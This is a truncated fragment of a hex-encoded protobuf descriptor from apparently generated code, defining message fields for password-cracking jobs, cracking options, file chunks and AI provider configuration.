0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, + 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, + 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, + 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, + 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, + 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, + 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, + 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, + 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, + 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, + 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, + 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, + 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, + 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, + 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, + 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, + 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, + 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, + 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, + 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, + 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, + 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, + 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, + 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, + 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, + 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, + 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, + 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, + 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, + 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, + 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, + 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, + 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, + 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, + 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, + 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, + 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, + 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, + 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, + 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, + 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, + 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, + 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, + 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, + 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, + 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, + 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, + 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, + 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0xf4, + 0x01, 0x0a, 0x08, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, + 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x30, 0x0a, 0x06, 0x53, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x10, 0x0a, + 0x03, 0x45, 0x72, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, + 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x49, + 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x46, + 0x69, 0x6c, 0x65, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x22, 0x8d, 0x01, 0x0a, + 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, + 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, + 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, + 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, + 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, + 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, + 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, + 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, + 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, + 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, + 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, + 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, + 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, + 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, + 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, + 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, + 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, + 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x80, 0x01, 0x0a, 0x11, 0x41, + 0x49, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, + 0x12, 0x38, 0x0a, 0x09, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, + 0x49, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, + 0x09, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x31, 0x0a, 0x06, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x53, 0x75, + 0x6d, 0x6d, 0x61, 0x72, 0x79, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x46, 0x0a, + 0x10, 0x41, 0x49, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 